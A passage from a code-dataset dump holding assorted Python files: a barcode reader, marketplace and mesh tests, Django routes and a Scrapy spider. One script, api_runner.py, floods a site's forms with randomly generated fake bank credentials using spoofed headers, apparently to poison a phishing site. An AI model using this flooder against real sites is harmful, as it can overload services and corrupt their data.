vs.read()\n\t\tframe = imutils.resize(frame, width=400)\n\n# find the barcodes in the frame and decode each of the barcodes\n\t\tbarcodes = pyzbar.decode(frame)\n\t\tfor barcode in barcodes:\n# extract the bounding box location of the barcode and draw\n# the bounding box surrounding the barcode on the image\n\t\t\t(x, y, w, h) = barcode.rect\n\t\t\tcv2.rectangle(frame, (x, y), (x + w, y + h), (0, 0, 255), 2)\n\n# the barcode data is a bytes object so if we want to draw it\n# on our output image we need to convert it to a string first\n\t\t\tbarcodeData = barcode.data.decode(\"utf-8\")\n\t\t\tbarcodeType = barcode.type\n\n# draw the barcode data and barcode type on the image\n\t\t\ttext = \"{} ({})\".format(barcodeData, barcodeType)\n\t\t\tcv2.putText(frame, text, (x, y - 10),\n\t\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n\n# if the barcode text is currently not in our CSV file, write\n# the timestamp + barcode to disk and update the set\n\t\t\tif barcodeData not in found:\n\t\t\t\tcsv.write(\"{},{}\\n\".format(datetime.datetime.now(),\n\t\t\t\t\tbarcodeData))\n\t\t\t\tcsv.flush()\n\t\t\t\tfound.add(barcodeData)\n# show the output frame\n\t\tcv2.imshow(\"Barcode Scanner\", frame)\n\t\tkey = cv2.waitKey(1) & 0xFF\n\t\tif barcodes != []:\n\t\t\tcv2.destroyWindow(\"Barcode Scanner\")\n\t\t\tbreak\n# barcodes[0][0] code for store and price\n\n\tprice,store=barcodes[0][0].split('##')\n\tprint(price, store)\n\n\n'''\nglobal i_have_card\ni_have_card=[['이마트 KB카드', '<결제코드1>'],['삼성 S클래스 카드', '<켤제코드2>']]\ndef plus_card(name,signal):\n for i in range(len(i_have_card)):\n if name==i_have_card[i][0]:\n return 0\n list=[]\n list.append(name)\n list.append(signal)\n i_have_card.append(list)\n\ndef rm_card(name):\n i = 0\n while i < len(i_have_card) :\n if(i_have_card[i][0] == name) :\n i_have_card.pop(i)\n i -= 1\n i += 1\n'''\n","sub_path":"virtual_flask/tk/read_qr.py","file_name":"read_qr.py","file_ext":"py","file_size_in_byte":2814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"641314993","text":"from unittest import mock\n\nfrom rest_framework import test\n\nfrom waldur_core.core.utils import serialize_instance\nfrom waldur_core.structure.tests.fixtures import ProjectFixture\nfrom waldur_mastermind.marketplace.models import Order, OrderItem, Resource\nfrom waldur_mastermind.marketplace.tests.factories import (\n OfferingFactory,\n OrderFactory,\n OrderItemFactory,\n ResourceFactory,\n)\nfrom waldur_mastermind.marketplace_remote import PLUGIN_NAME\nfrom waldur_mastermind.marketplace_remote.tasks import OrderItemPullTask\n\n\nclass OrderItemPullTest(test.APITransactionTestCase):\n def setUp(self) -> None:\n super().setUp()\n patcher = mock.patch('waldur_mastermind.marketplace_remote.utils.WaldurClient')\n self.client_mock = patcher.start()\n fixture = ProjectFixture()\n offering = OfferingFactory(\n type=PLUGIN_NAME,\n secret_options={\n 'api_url': 'https://remote-waldur.com/',\n 'token': 'valid_token',\n },\n )\n order = OrderFactory(project=fixture.project, state=Order.States.EXECUTING)\n self.resource = ResourceFactory(project=fixture.project, offering=offering)\n self.order_item = OrderItemFactory(\n order=order,\n offering=offering,\n resource=self.resource,\n state=OrderItem.States.EXECUTING,\n backend_id='BACKEND_ID',\n )\n\n def tearDown(self):\n super().tearDown()\n mock.patch.stopall()\n\n def test_when_order_item_succeeds_resource_is_updated(self):\n # Arrange\n self.client_mock().get_order.return_value = {\n 'items': [\n {\n 'state': 'done',\n 'error_message': '',\n }\n ]\n }\n\n # Act\n OrderItemPullTask().run(serialize_instance(self.order_item))\n\n # Assert\n self.order_item.refresh_from_db()\n self.assertEqual(self.order_item.state, OrderItem.States.DONE)\n\n self.resource.refresh_from_db()\n self.assertEqual(self.resource.state, Resource.States.OK)\n\n def test_when_order_item_fails_resource_is_updated(self):\n # Arrange\n self.client_mock().get_order.return_value = {\n 'items': [\n {\n 'state': 'erred',\n 'error_message': 'Invalid credentials',\n }\n ]\n }\n\n # Act\n OrderItemPullTask().run(serialize_instance(self.order_item))\n\n # Assert\n self.order_item.refresh_from_db()\n self.assertEqual(self.order_item.state, OrderItem.States.ERRED)\n self.assertEqual(self.order_item.error_message, 'Invalid credentials')\n\n self.resource.refresh_from_db()\n self.assertEqual(self.resource.state, Resource.States.ERRED)\n\n def test_when_creation_order_succeeds_resource_is_created(self):\n # Arrange\n self.client_mock().get_order.return_value = {\n 'items': [\n {\n 'state': 'done',\n 'marketplace_resource_uuid': 'marketplace_resource_uuid',\n 'error_message': '',\n }\n ]\n }\n self.order_item.resource = None\n self.order_item.save()\n\n # Act\n OrderItemPullTask().run(serialize_instance(self.order_item))\n\n # Assert\n self.order_item.refresh_from_db()\n self.assertIsNotNone(self.order_item.resource)\n self.assertEqual(Resource.States.OK, self.order_item.resource.state)\n\n def test_remote_resource_backend_id_is_saved_as_local_resource_effective_id(self):\n # Arrange\n self.client_mock().get_order.return_value = {\n 'items': [\n {\n 'state': 'done',\n 'marketplace_resource_uuid': 'marketplace_resource_uuid',\n 'resource_uuid': 'effective_id',\n 'error_message': '',\n }\n ]\n }\n self.order_item.resource = None\n self.order_item.save()\n\n # Act\n OrderItemPullTask().run(serialize_instance(self.order_item))\n\n # Assert\n self.order_item.refresh_from_db()\n self.assertEqual('effective_id', self.order_item.resource.effective_id)\n","sub_path":"src/waldur_mastermind/marketplace_remote/tests/test_order_item.py","file_name":"test_order_item.py","file_ext":"py","file_size_in_byte":4319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"531396107","text":"from django.conf.urls import url\nfrom . import views\n\napp_name = 'albums'\n\nurlpatterns = [\n url(r'^$', views.AlbumView.as_view(), name='album'),\n url(r'^create$', views.AlbumCreateView.as_view(), name='album_add'),\n url(r'^update/(?P\\d+)$', views.AlbumUpdateView.as_view(), name=\"album_update\"),\n url(r'^photo/(?P[0-9]+)$', views.PhotoView.as_view(), name='photo'),\n url(r'^photoadd/(?P<album_id>[0-9]+)$', views.PhotoUpload, name='photoadd'),\n url(r'^delete/(?P<album_id>[0-9]+)/(?P<pk>\\d+)$', views.PhotoDeleteView.as_view(), name='delete'),\n url(r'^delist/(?P<album_id>[0-9]+)$', views.PhotoDeleteListView.as_view(), name='del_list')\n]\n","sub_path":"albums/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"530947388","text":"import threading\nimport requests\nimport time\nimport random\nfrom random import randint\nfrom core import util\nfrom urllib3 import HTTPConnectionPool\n\nclass api_runner(threading.Thread):\n\n def __init__(self, host, num):\n threading.Thread.__init__(self)\n self.host = host\n self.num = str(num)\n\n def createApiHeader(self, host, hashAndPhpSID, refer):\n header = {\"Host\": host,\n \"User-Agent\": \"Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36\",\n \"Accept\": \"text/plain, */*; q=0.01\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n \"X-Requested-With\": \"XMLHttpRequest\",\n \"DNT\": \"1\",\n \"Origin\": \"https://\" + host,\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n \"Cookie\": \"clientHashId=\" + hashAndPhpSID['clientHashId'] + \"; PHPSESSID=\" + hashAndPhpSID['PHPSESSID'],\n \"Referer\": \"https://\" + host + \"/\" + refer + \"?hash=\" + hashAndPhpSID['clientHashId']\n }\n return header\n\n def getHashAndPHPSESSID(self, host):\n headers = {\n \"Host\": host,\n \"User-Agent\": \"Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 Mobile Safari/537.36\",\n \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n \"Accept-Language\": \"en-US,en;q=0.5\",\n \"Accept-Encoding\": \"gzip, deflate, br\",\n \"DNT\": \"1\",\n \"Connection\": \"keep-alive\",\n \"Upgrade-Insecure-Requests\": \"1\",\n }\n session = requests.Session()\n r = session.get(\"https://\" + host, headers=headers)\n return(session.cookies.get_dict())\n\n def createApiData(self):\n senha = randint(100000,999999)\n data = {\n \"celular\": '(' + str(randint(10,99)) + ')+' + str(randint(30000,99999)) + '-' + str(randint(1000,9999)), \n \"senhaCartao\" : randint(100000,999999), \n \"agencia\" : randint(1000,9999), \n \"conta\" : str(randint(10000,99999)) + '-' + str(randint(0,9)), \n \"cpf\" : util.generateCpf(), \n \"nome\" : \"Cliente\", #if random.getrandbits(1) else \"Antonia\",\n \"senha\" : senha, \n \"senhaConfirmacao\": senha\n }\n return data\n\n def createApiBody(self):\n actions = {\"SALVAR_CPF\":{\"origin\" : \"Inicio.php\", \"Content-Length\": \"36\", \"dataNeeded\": [\"cpf\"]}, \n \"SALVAR_CONTA\":{\"origin\" : \"Login.php?\", \"Content-Length\": \"46\", \"dataNeeded\": [\"agencia\", \"conta\"]}, \n \"SALVAR_SENHA_NET\":{\"origin\" : \"SenhaInternet.php?\", \"Content-Length\": \"60\", \"dataNeeded\": [\"senha\", \"senhaConfirmacao\"]}, \n \"SALVAR_INFO\": {\"origin\" : \"Confirmacao.php?\", \"Content-Length\": \"157\", \"dataNeeded\": [\"celular\", \"senhaCartao\", \"agencia\", \"conta\", \"cpf\", \"nome\",\"senha\",\"senhaConfirmacao\"]}\n }\n\n requestData = self.createApiData()\n\n actionsWithData = {}\n for action in actions:\n data = {}\n for requiredData in actions[action][\"dataNeeded\"]:\n data.update({requiredData:requestData[requiredData]})\n actionContent = {}\n actionContent.update({\"origin\":actions[action][\"origin\"]})\n actionContent.update({\"data\":data})\n actionsWithData.update({action:actionContent})\n \n return actionsWithData\n\n def runRequest(self, url, header, cookies, data):\n r = requests.post(url, headers=header, cookies=cookies, data=data)\n return \"OK\" if r.status_code == 200 else \"FAIL\"\n\n def run(self):\n print(\"Starting thread \" + self.num )\n host = self.host\n try:\n hashAndPhpSID = self.getHashAndPHPSESSID(host)\n except:\n print(\"Thread \" + self.num + \": Failed to connect to the website\")\n return\n apiData = self.createApiBody()\n requestsResult = {}\n for api in apiData:\n header = self.createApiHeader(host, hashAndPhpSID, apiData[api][\"origin\"])\n data = apiData[api][\"data\"]\n requestsResult.update({api:self.runRequest(\"http://\" + host, header, hashAndPhpSID, data)})\n\n print(\"Thread \" + self.num + \" results:\\t\" + ''.join([requestsResult[api] + \"\\t\" for api in requestsResult ]))","sub_path":"core/api_runner.py","file_name":"api_runner.py","file_ext":"py","file_size_in_byte":4524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"285147681","text":"import os, importlib\nfrom . import register, unittest\n\n@register\ndef test_examples():\n for name in os.listdir( 'examples' ):\n if not name.endswith( '.py' ):\n continue\n example = importlib.import_module( 'examples.'+name[:-3] )\n for __nprocs__ in 1,2:\n unittest( example.unittest, name='{}_np{}'.format( name[:-3], __nprocs__ ) )\n","sub_path":"tests/examples.py","file_name":"examples.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"636916362","text":"# --------------------------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for license information.\n# --------------------------------------------------------------------------------------------\n# Generated file, DO NOT EDIT\n# Changes may cause incorrect behavior and will be lost if the code is regenerated.\n# --------------------------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass IdentityBatchInfo(Model):\n \"\"\"IdentityBatchInfo.\n\n :param descriptors:\n :type descriptors: list of :class:`str <identities.v4_0.models.str>`\n :param identity_ids:\n :type identity_ids: list of str\n :param include_restricted_visibility:\n :type include_restricted_visibility: bool\n :param property_names:\n :type property_names: list of str\n :param query_membership:\n :type query_membership: object\n \"\"\"\n\n _attribute_map = {\n 'descriptors': {'key': 'descriptors', 'type': '[str]'},\n 'identity_ids': {'key': 'identityIds', 'type': '[str]'},\n 'include_restricted_visibility': {'key': 'includeRestrictedVisibility', 'type': 'bool'},\n 'property_names': {'key': 'propertyNames', 'type': '[str]'},\n 'query_membership': {'key': 'queryMembership', 'type': 'object'}\n }\n\n def __init__(self, descriptors=None, identity_ids=None, include_restricted_visibility=None, property_names=None, query_membership=None):\n super(IdentityBatchInfo, self).__init__()\n self.descriptors = descriptors\n self.identity_ids = identity_ids\n self.include_restricted_visibility = include_restricted_visibility\n self.property_names = property_names\n self.query_membership = query_membership\n","sub_path":"vsts/vsts/identity/v4_0/models/identity_batch_info.py","file_name":"identity_batch_info.py","file_ext":"py","file_size_in_byte":1877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"505260324","text":"from collections import Counter\n\ndef calculate_gcd(n):\n result = [[0 for x in range(n)] for y in range(n)]\n for i in range(n):\n for j in range(i,n):\n if i == 0 or j == 0:\n result[i][j] = 1\n result[j][i] = 1\n elif i == j:\n result[i][j]= j+1\n else:\n result[i][j] = result[i][j-i-1]\n result[j][i] = result[i][j-i-1]\n return result\n\n\ndef calculate_fact(n):\n result = [1]\n for i in range(n-1):\n result.append(result[-1]*(i+2))\n return result \n\ndef factorial(x, fact):\n return fact[x-1]\n\ndef gcd1(x,y, gcd):\n return gcd[x-1][y-1]\n\ndef coefficientFactor(partition, n, fact):\n c = factorial(n, fact)\n for a, b in Counter(partition).items():\n c //=(a**b)*factorial(b, fact)\n return c\n\ndef cyclecount(n, fact):\n l = 0\n p =n*[0]\n p[0] = n\n result = []\n a = [0 for i in range(n+1)]\n l = 1\n y = n-1\n while l != 0:\n x = a[l-1] +1\n l -= 1\n while 2 * x <=y:\n a[l] = x\n y -= x\n l += 1\n k = l + 1\n while x <= y:\n a[l] = x\n a[k] = y\n partition = a[:l+2]\n result.append((partition, coefficientFactor(partition, n, fact)))\n x += 1\n y -= 1\n a[l] = x+ y\n y = x + y -1\n partition = a[:l+1]\n result.append((partition, coefficientFactor(partition, n, fact)))\n return result\n\n\ndef solution(w,h,s):\n n = max(w,h)\n gcd = calculate_gcd(n)\n fact = calculate_fact(n)\n grid = 0 \n for i in cyclecount(w, fact):\n for j in cyclecount(h, fact):\n k = i[1]*j[1]\n grid += k*(s**sum([sum([gcd1(x,y, gcd) for x in i[0]]) for y in j[0]]))\n return str(grid//(factorial(w, fact)*factorial(h,fact)))\n\n\nprint(solution(2,2,2))\nprint(solution(2,3,4))\n","sub_path":"google_foobar/disorderly_escape.py","file_name":"disorderly_escape.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"532184559","text":"\nfrom app_main import app\nfrom tests import OhmTestCase\n\n\nclass DashboardTest(OhmTestCase):\n def test_get(self):\n with app.test_client() as c:\n response = c.get('/community')\n assert \"Community\" in response.data\n assert \"community-table\" in response.data\n # Ensure there are at most 5 users shown\n rows = response.data.count('class=\"row community-row\"')\n assert rows <= 5\n","sub_path":"tests/pages_tests/community_test.py","file_name":"community_test.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"282200179","text":"# Implement a class to hold room information. This should have name and\n# description attributes.\nfrom typing import List\nfrom item import Item\n\nclass Room:\n def __init__(self, name, description):\n self.name = name\n self.description = description\n self.items: List[Item] = []\n self.n_to = \"\"\n self.s_to = \"\"\n self.e_to = \"\"\n self.w_to = \"\"\n\n def get_item(self, item_name: str):\n for item in self.items:\n if item.name.lower() == item_name.lower():\n return item\n return None\n\n def remove_item(self, item: Item):\n self.items.remove(item)\n\n def room_items(self):\n if len(self.items) > 0:\n print(\"This room currently has:\")\n for i in self.items:\n print(f'{i.name} - \"{i.description}\"')\n\n def __str__(self):\n output = f\"\\nYou are in Room: {self.name} - '{self.description}'\"\n return output \n","sub_path":"src/room.py","file_name":"room.py","file_ext":"py","file_size_in_byte":955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"81386201","text":"import os\nimport numpy as np\nimport pytest \n\nfrom cloudvolume import Vec, Bbox, CloudVolume, Storage, Mesh\n\n@pytest.mark.parametrize((\"use_https\"),[True, False])\ndef test_mesh_fragment_download(use_https):\n vol = CloudVolume('gs://seunglab-test/test_v0/segmentation', use_https=use_https)\n paths = vol.mesh._get_manifests(18)\n assert len(paths) == 1\n assert paths[18] == [ '18:0:0-512_0-512_0-100' ]\n\n paths = vol.mesh._get_manifests(147)\n assert len(paths) == 1\n assert paths[147] == [ '147:0:0-512_0-512_0-100' ]\n\ndef test_get_mesh():\n vol = CloudVolume('gs://seunglab-test/test_v0/segmentation')\n vol.cache.flush()\n mesh = vol.mesh.get(18)\n assert len(mesh) == 6123\n assert mesh.vertices.shape[0] == 6123\n assert len(mesh.faces) == 12242\n assert isinstance(mesh.vertices, np.ndarray)\n assert mesh.vertices.dtype == np.float32\n assert mesh.faces.dtype == np.uint32\n\n meshes = vol.mesh.get([148, 18], fuse=False)\n assert len(meshes) == 2\n mesh = meshes[18]\n assert len(mesh.vertices) == 6123\n assert len(mesh.vertices) == 6123\n assert len(mesh.faces) == 12242\n \n try:\n vol.mesh.get(666666666)\n assert False\n except ValueError:\n pass\n\n # just don't crash\n mesh = vol.mesh.get(18, chunk_size=(512, 512, 100), fuse=True)\n\ndef test_duplicate_vertices():\n verts = np.array([\n [0,0,0], [0,1,0],\n [1,0,0], [1,1,0],\n [2,0,0], [2,1,0],\n [3,0,0], [3,1,0], \n [3,0,0],\n [4,0,0], [4,1,0],\n [4,0,0], # duplicate in x direction\n [5,0,0], [5,1,0],\n [5,0,0],\n [6,0,0], [6,1,0], [6,1,2],\n [7,0,0], [7,1,0],\n [4,0,0]\n ], dtype=np.float32)\n\n faces = np.array([ \n [0,1,2], [2,3,4], [4,5,6], [7,8,9],\n [9,10,11], [10,11,12],\n [12,13,14], [14,15,16], [15,16,17],\n [15,18,19], [18,19,20]\n ], dtype=np.uint32)\n\n mesh = Mesh(verts, faces, segid=666)\n\n def deduplicate(mesh, x, offset_x=0):\n return mesh.deduplicate_chunk_boundaries(\n (x, 100, 100), is_draco=False, \n offset=(offset_x,-1,-1) # so y=0,z=0 isn't a chunk boundary\n )\n\n # test that triple 4 isn't affected\n mesh2 = deduplicate(mesh, x=4)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] \n\n # pop off the last 4\n mesh.vertices = mesh.vertices[:-1]\n mesh.faces = mesh.faces[:-1]\n\n # test that 4 is now affected\n mesh2 = deduplicate(mesh, x=4)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] - 1\n\n mesh2 = deduplicate(mesh, x=3)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] - 1\n\n mesh2 = deduplicate(mesh, x=4, offset_x=-1)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] - 1\n\n mesh2 = deduplicate(mesh, x=5)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] - 1\n\n mesh2 = deduplicate(mesh, x=1)\n assert not np.all(mesh.vertices == mesh2.vertices)\n assert mesh2.vertices.shape[0] == mesh.vertices.shape[0] - 3\n\ndef test_get_mesh_caching():\n vol = CloudVolume('gs://seunglab-test/test_v0/segmentation', cache=True)\n vol.cache.flush()\n\n mesh = vol.mesh.get(18)\n \n assert set(vol.cache.list_meshes()) == set([ '18:0:0-512_0-512_0-100.gz', '18:0' ])\n\n assert len(mesh) == 6123\n assert mesh.vertices.shape[0] == 6123\n assert len(mesh.faces) == 12242\n assert isinstance(mesh.vertices, np.ndarray)\n assert mesh.vertices.dtype == np.float32\n assert mesh.faces.dtype == np.uint32\n\n meshes = vol.mesh.get([148, 18], fuse=False)\n assert len(meshes) == 2\n mesh = meshes[18]\n assert len(mesh.vertices) == 6123\n assert len(mesh.vertices) == 6123\n assert len(mesh.faces) == 12242\n \n try:\n vol.mesh.get(666666666)\n assert False\n except ValueError:\n pass\n\n vol.cache.flush()\n\ndef test_get_mesh_order_stability():\n vol = CloudVolume('gs://seunglab-test/test_v0/segmentation')\n first_mesh = vol.mesh.get([148, 18], fuse=True)\n \n for _ in range(5):\n next_mesh = vol.mesh.get([148, 18], fuse=True)\n assert len(first_mesh.vertices) == len(next_mesh.vertices)\n assert np.all(first_mesh.vertices == next_mesh.vertices)\n assert np.all(first_mesh.faces == next_mesh.faces)\n","sub_path":"test/test_meshing.py","file_name":"test_meshing.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"132189084","text":"class Monster:\n def __init__(self, name, damage):\n self.name = name\n self.hp = 10\n self.damage = damage\n \n def info(self):\n print(\"sono\", self.name, \"hp:\", self.hp, \"/10\")\n\n def attack(self, enemy):\n if self.hp <= 0:\n print(self.name, \"prova ad attaccare da morto con scarsi risultati\")\n else: \n print(self.name, \"attacca\", enemy.name)\n\n if (enemy.hp <= 0):\n print(enemy.name, \"e' morto\")\n else:\n enemy.hp -= self.damage\n \n\nm1 = Monster(\"Pino\", 6)\nm1.info()\n\nm2 = Monster(\"Pluto\", 2)\nm2.info()\n\nm1.attack(m2)\nm2.info()\nm2.attack(m1)\nm1.attack(m2)\nm2.info()\nm1.attack(m2)\nm2.info()\nm2.attack(m1)\nm1.attack(m2)","sub_path":"lezione-01.py","file_name":"lezione-01.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"142273636","text":"import os\n\nfrom time import gmtime, strftime\n\ndef error_record(error, tb):\n try:\n if os.path.exists('./files/error.txt'):\n with open('./files/error.txt', 'a', encoding='utf-8') as f:\n f.write(strftime(\"%a, %d %b %Y %H:%M:%S\", gmtime()) + \"-\" + \"Exception Record:\" + error + '\\n' + \"具体错误信息如下:\\n\" + tb + '\\r\\n')\n else:\n with open('./files/error.txt', 'w', encoding='utf-8') as f:\n f.write(strftime(\"%a, %d %b %Y %H:%M:%S\", gmtime()) + \"-\" + \"Exception Record:\" + error + '\\n' + \"具体错误信息如下:\\n\" + tb + '\\r\\n')\n except Exception as e:\n print(e)","sub_path":"errorRecord.py","file_name":"errorRecord.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28812535","text":"\"\"\"\nTASK\n Write a function that, given a sequence, returns its equilibrium indices\n (if any). Assume that the sequence may be very long. Feel free to Google for\n hints, but give lots of comments about what your thoughts are and your\n process for devising an algorithm.\n\nTEST\n from EquilibriumIndex import eqindex\n d = ([-7, 1, 5, 2, -4, 3, 0],\n [2, 4, 6],\n [2, 9, 2],\n [1, -1, 1, -1, 1, -1, 1])\n for data in d:\n print(\"Test: %r\" % data)\n print(\"Result: %r\" % list(eqindex(data)))\n\nDESIGN\n find the eqil index of a list that might be very long\n *linear might be too slow for large lists\n *corner cases: might be more than one eqindex, might be no eqindex, list\n might have an equilibrium but no index( ie. Happened in between\n indexes like [4,4,8]\n looks like the test scrip expects a list to be returned\n objects: list_section(lower_list, upper_list), current_index\n list_section:\n attributes: number_list\n Methods: sum\n current_index:\n attributes: current_index, data_list\n methods: split_list, comp_sides\n\nASSUMPTIONS\n 1- When no eqindex can be found return an empty list\n\nPSEUDO-CODE\n sum_of_list [2,6,4,6,1,8,10] = 37\n then you can iterate through the list adding and subtracting\n sum_of_left =0; sum_of_left+=current_index\n sum_of_right=sum_of_list; sum_of_right -= current_index\n if sum_of_left == sum_of_right:\n append_eqindex_list()\n\"\"\"\n\ndef eqindex(data):\n r_sum = sum(data) #right side total\n l_sum = 0 #left side total\n pr_num = 0 #keep track of previous number\n eq_list = [] #list to hold the index of equilib locations\n\n for i,item in enumerate(data):\n try:\n assert type(item) == int #make sure we are working with integers\n except AssertionError:\n print(\"Must supply a list of ints\")\n r_sum -= item\n l_sum += pr_num\n pr_num = item\n if r_sum == l_sum:\n if i == 0 or i == len(data)-1: #ignore the first and last index\n #because the numbers might total\n #to 0\n continue\n else:\n eq_list.append(i) #make the list of equil indexes\n\n return(eq_list)\n\n","sub_path":"EquilibriumIndex.py","file_name":"EquilibriumIndex.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"144959486","text":"#coding=utf-8\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf-8')\n\ndef SimWordsGen(path):\n\tf = open(path, 'r')\n\tlines = f.readlines()\n\tf.close()\n\tsdic1 = {}\n\tleftwords = set()\n\tfor line in lines:\n\t\tarr = str(line).split('\\n')[0].split(':')\n\t\t#print arr[0], arr[1]\n\t\tif arr[1] in leftwords:\n\t\t\tcontinue\n\t\tif not arr[0] in sdic1:\n\t\t\tsdic1[arr[0]] = set()\n\t\t\tsdic1[arr[0]].add(arr[1])\n\t\telif not arr[1] in sdic1[arr[0]]:\n\t\t\tsdic1[arr[0]].add(arr[1])\n\t\tleftwords.add(arr[1])\n\n\n\tsdic2 = {}\n\tfor w in sdic1:\n\t\tsdic2[w] = set()\n\t\tfor sw in sdic1[w]:\n\t\t\tsdic2[w].add(sw)\n\t\t\tif not sw in sdic1:\n\t\t\t\tcontinue\n\t\t\tfor ssw in sdic1[sw]:\n\t\t\t\tsdic2[w].add(ssw)\n\t\n\twords = set()\n\tsimwords = {}\n\tfor w in sdic2:\n\t\tif w in words:\n\t\t\tcontinue\n\t\twords.add(w)\n\t\tsimwords[w] = []\n\t\tfor sw in sdic2[w]:\n\t\t\tsimwords[w].append(sw)\n\t\t\twords.add(sw)\n\t\n\tfout = open('simws2.txt', 'w')\n\tfor w in simwords:\n\t\tws = []\n\t\tws.append(w)\n\t\t#fout.write('%s:%d:: '%(w, len(simwords[w])))\n\t\tfor sw in simwords[w]:\n\t\t\tif not sw in ws:\n\t\t\t\tws.append(sw)\n\t\t\t#fout.write('%s '%sw)\n\t\tfor i in ws:\n\t\t\tfout.write('%s '%i)\n\t\tfout.write('\\n')\n\t\t\t\n\n\nif __name__=='__main__':\n\tpath = \"simwords.txt\"\n\tSimWordsGen(path)\n","sub_path":"extract_other_emotion_feature/dicts/SimWordsGen.py","file_name":"SimWordsGen.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"171419165","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Mar 30 10:51:05 2019\r\n\r\n@author: sahil\r\n\"\"\"\r\n\r\n# -*-coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 25 10:28:29 2018\r\n\r\n@author: mohammed\r\n\"\"\"\r\n\r\nimport logging\r\nimport re\r\nfrom scrapy.utils.log import configure_logging \r\nfrom scrapy.contrib.spiders import CrawlSpider, Rule\r\nfrom book.items import NewItem\r\nfrom scrapy.contrib.linkextractors import LinkExtractor\r\nfrom scrapy.contrib.linkextractors import IGNORED_EXTENSIONS\r\nfrom scrapy.http import Request\r\nimport urllib.parse\r\n\r\n\r\nclass Subpages(CrawlSpider):\r\n name = \"book\"\r\n \r\n allowed_domains = [\"flipkart.com\"]\r\n start_urls = [\r\n \"https://www.flipkart.com/search?q=novels&as=on&as-show=on&otracker=AS_Query_HistoryAutoSuggest_0_6&otracker1=AS_Query_HistoryAutoSuggest_0_6&as-pos=0&as-type=HISTORY&as-backfill=on\"\r\n ]\r\n \r\n configure_logging(install_root_handler=False)\r\n logging.basicConfig(\r\n filename='log.txt',\r\n format='%(levelname)s: %(message)s',\r\n level=logging.INFO\r\n )\r\n #which crawls the all subpages of website and its pages until it does not find <a> tag \r\n rules = (\r\n Rule(LinkExtractor(allow=(r''),restrict_xpaths=('//a[@class=\"_2Xp0TH\"]'),),follow=True,),\r\n Rule(LinkExtractor(allow=(r''),restrict_xpaths=('//div[@class=\"_3liAhj _1R0K0g\"]//a[@class=\"_2cLu-l\"]'),),follow=True,callback='parse_items_',),\r\n )\r\n \r\n def parse_items_(self, response):\r\n self.log('Hi, this is an item page! %s' % response.url)\r\n \r\n item = NewItem()\r\n trans_table = {ord(c): None for c in u'\\r\\n\\t'}\r\n #item['page'] = response.url\r\n item['title'] = response.xpath('//span[@class=\"_35KyD6\"]/text()').extract()\r\n #item['price'] = response.xpath('//div[@class=\"_1vC4OE _3qQ9m1\"]/text()').extract()\r\n #item['rating'] = response.xpath('//div[@class=\"_3ors59\"]//div[@class=\"niH0FQ _2nc08B\"]//span[@class=\"_2_KrJI\"]//div[@class=\"hGSR34\"]/text()').extract()\r\n x = str( ' '.join(s.strip().translate(trans_table) for s in response.xpath('//div[@class=\"_1HmYoV _35HD7C\"]//div[@class=\"bhgxx2 col-12-12\"]//div[@class=\"_3cpW1u\"]').extract()))\r\n cleanr = re.compile('<.*?>') \r\n cleantext = re.sub(cleanr, '', x)\r\n item['Description'] = cleantext\r\n item['Author'] = 